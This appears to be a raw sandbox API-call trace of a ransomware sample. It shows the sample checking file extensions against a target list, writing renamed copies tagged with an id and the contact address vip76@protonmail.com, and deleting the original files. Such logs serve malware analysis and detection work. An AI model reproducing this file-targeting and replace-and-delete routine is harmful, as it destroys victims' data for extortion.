	[0064.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.416] lstrlenW (lpString=".doc") returned 4
	[0064.416] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.416] lstrlenW (lpString=".docx") returned 5
	[0064.416] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0064.416] lstrlenW (lpString=".pdf") returned 4
	[0064.416] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString=".xls") returned 4
	[0064.417] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString=".xlsx") returned 5
	[0064.417] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0064.417] lstrlenW (lpString=".ppt") returned 4
	[0064.417] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.417] lstrlenW (lpString=".zip") returned 4
	[0064.417] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.417] lstrlenW (lpString=".rar") returned 4
	[0064.417] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString=".bz2") returned 4
	[0064.417] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString=".7z") returned 3
	[0064.417] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.417] lstrlenW (lpString=".dbf") returned 4
	[0064.417] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.417] lstrlenW (lpString=".1cd") returned 4
	[0064.417] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.417] lstrlenW (lpString=".jpg") returned 4
	[0064.417] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.417] lstrlenW (lpString=".doc") returned 4
	[0064.417] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString=".docx") returned 5
	[0064.417] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0064.417] lstrlenW (lpString=".pdf") returned 4
	[0064.417] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.417] lstrlenW (lpString=".xls") returned 4
	[0064.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.418] lstrlenW (lpString=".xlsx") returned 5
	[0064.418] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0064.418] lstrlenW (lpString=".ppt") returned 4
	[0064.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.418] lstrlenW (lpString=".zip") returned 4
	[0064.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.418] lstrlenW (lpString=".rar") returned 4
	[0064.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.418] lstrlenW (lpString=".bz2") returned 4
	[0064.418] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.418] lstrlenW (lpString=".7z") returned 3
	[0064.418] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.418] lstrlenW (lpString=".dbf") returned 4
	[0064.418] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.418] lstrlenW (lpString=".1cd") returned 4
	[0064.418] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0064.418] lstrlenW (lpString=".jpg") returned 4
	[0064.418] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.418] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.418] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0064.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.419] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2616) returned 1
	[0064.419] CloseHandle (hObject=0x364) returned 1
	[0064.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20
	[0064.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.422] lstrlenW (lpString=".doc") returned 4
	[0064.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.422] lstrlenW (lpString=".docx") returned 5
	[0064.422] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0064.422] lstrlenW (lpString=".pdf") returned 4
	[0064.422] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.422] lstrlenW (lpString=".xls") returned 4
	[0064.422] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.422] lstrlenW (lpString=".xlsx") returned 5
	[0064.422] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0064.423] lstrlenW (lpString=".ppt") returned 4
	[0064.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.423] lstrlenW (lpString=".zip") returned 4
	[0064.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.423] lstrlenW (lpString=".rar") returned 4
	[0064.423] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString=".bz2") returned 4
	[0064.423] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString=".7z") returned 3
	[0064.423] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.423] lstrlenW (lpString=".dbf") returned 4
	[0064.423] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.423] lstrlenW (lpString=".1cd") returned 4
	[0064.423] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.423] lstrlenW (lpString=".jpg") returned 4
	[0064.423] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.423] lstrlenW (lpString=".doc") returned 4
	[0064.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString=".docx") returned 5
	[0064.423] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0064.423] lstrlenW (lpString=".pdf") returned 4
	[0064.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString=".xls") returned 4
	[0064.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.423] lstrlenW (lpString=".xlsx") returned 5
	[0064.423] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0064.424] lstrlenW (lpString=".ppt") returned 4
	[0064.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.424] lstrlenW (lpString=".zip") returned 4
	[0064.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.424] lstrlenW (lpString=".rar") returned 4
	[0064.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.424] lstrlenW (lpString=".bz2") returned 4
	[0064.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.424] lstrlenW (lpString=".7z") returned 3
	[0064.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.424] lstrlenW (lpString=".dbf") returned 4
	[0064.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.424] lstrlenW (lpString=".1cd") returned 4
	[0064.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0064.424] lstrlenW (lpString=".jpg") returned 4
	[0064.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.424] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.424] lstrlenW (lpString="ipsen.xml") returned 9
	[0064.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.431] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2578) returned 1
	[0064.431] CloseHandle (hObject=0x364) returned 1
	[0064.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20
	[0064.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0064.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0064.432] lstrlenW (lpString=".doc") returned 4
	[0064.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.432] lstrlenW (lpString=".docx") returned 5
	[0064.432] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0064.432] lstrlenW (lpString=".pdf") returned 4
	[0064.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.432] lstrlenW (lpString=".xls") returned 4
	[0064.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.432] lstrlenW (lpString=".xlsx") returned 5
	[0064.432] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0064.432] lstrlenW (lpString=".ppt") returned 4
	[0064.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0064.432] lstrlenW (lpString=".zip") returned 4
	[0064.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.432] lstrlenW (lpString=".rar") returned 4
	[0064.432] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.432] lstrlenW (lpString=".bz2") returned 4
	[0064.432] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.432] lstrlenW (lpString=".7z") returned 3
	[0064.432] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0064.432] lstrlenW (lpString=".dbf") returned 4
	[0064.433] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0065.444] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.444] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.444] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0065.444] GetLastError () returned 0x0
	[0065.444] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x99, lpOverlapped=0x0) returned 1
	[0065.445] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0065.447] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.447] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0065.447] SetEndOfFile (hFile=0x370) returned 1
	[0065.447] CloseHandle (hObject=0x370) returned 1
	[0065.448] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.448] SetEndOfFile (hFile=0x334) returned 1
	[0065.449] CloseHandle (hObject=0x334) returned 1
	[0065.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.449] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1
	[0065.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.450] lstrlenW (lpString=".doc") returned 4
	[0065.450] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.450] lstrlenW (lpString=".docx") returned 5
	[0065.450] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.450] lstrlenW (lpString=".pdf") returned 4
	[0065.450] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.450] lstrlenW (lpString=".xls") returned 4
	[0065.450] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.450] lstrlenW (lpString=".xlsx") returned 5
	[0065.450] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.450] lstrlenW (lpString=".ppt") returned 4
	[0065.450] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.450] lstrlenW (lpString=".zip") returned 4
	[0065.450] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.450] lstrlenW (lpString=".rar") returned 4
	[0065.450] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.450] lstrlenW (lpString=".bz2") returned 4
	[0065.450] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.450] lstrlenW (lpString=".7z") returned 3
	[0065.450] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.450] lstrlenW (lpString=".dbf") returned 4
	[0065.450] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.450] lstrlenW (lpString=".1cd") returned 4
	[0065.450] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.450] lstrlenW (lpString=".jpg") returned 4
	[0065.450] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.451] lstrlenW (lpString=".doc") returned 4
	[0065.451] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.451] lstrlenW (lpString=".docx") returned 5
	[0065.451] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.451] lstrlenW (lpString=".pdf") returned 4
	[0065.451] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.451] lstrlenW (lpString=".xls") returned 4
	[0065.451] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.451] lstrlenW (lpString=".xlsx") returned 5
	[0065.451] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.451] lstrlenW (lpString=".ppt") returned 4
	[0065.451] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0065.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.451] lstrlenW (lpString=".zip") returned 4
	[0065.451] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0065.451] lstrlenW (lpString=".rar") returned 4
	[0065.451] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0065.451] lstrlenW (lpString=".bz2") returned 4
	[0065.451] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0065.451] lstrlenW (lpString=".7z") returned 3
	[0065.451] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0065.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.451] lstrlenW (lpString=".dbf") returned 4
	[0065.451] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0065.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.451] lstrlenW (lpString=".1cd") returned 4
	[0065.451] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0065.451] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0065.451] lstrlenW (lpString=".jpg") returned 4
	[0065.451] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0065.452] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1
	[0065.452] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23
	[0065.452] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.452] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=165) returned 1
	[0065.452] CloseHandle (hObject=0x334) returned 1
	[0065.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20
	[0065.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0065.453] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0065.453] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.453] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.453] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0065.453] GetLastError () returned 0x0
	[0065.453] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xa5, lpOverlapped=0x0) returned 1
	[0065.454] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0065.455] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.455] WriteFile (in: hFile=0x370, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x102, lpOverlapped=0x0) returned 1
	[0065.456] SetEndOfFile (hFile=0x370) returned 1
	[0065.456] CloseHandle (hObject=0x370) returned 1
	[0065.456] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.456] SetEndOfFile (hFile=0x334) returned 1
	[0065.457] CloseHandle (hObject=0x334) returned 1
	[0065.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0065.458] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1
	[0065.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0065.458] lstrlenW (lpString=".doc") returned 4
	[0065.458] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0065.458] lstrlenW (lpString=".docx") returned 5
	[0065.458] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0065.458] lstrlenW (lpString=".pdf") returned 4
	[0065.458] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0065.458] lstrlenW (lpString=".xls") returned 4
	[0065.458] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0065.458] lstrlenW (lpString=".xlsx") returned 5
	[0065.458] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0065.458] lstrlenW (lpString=".ppt") returned 4
	[0065.458] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
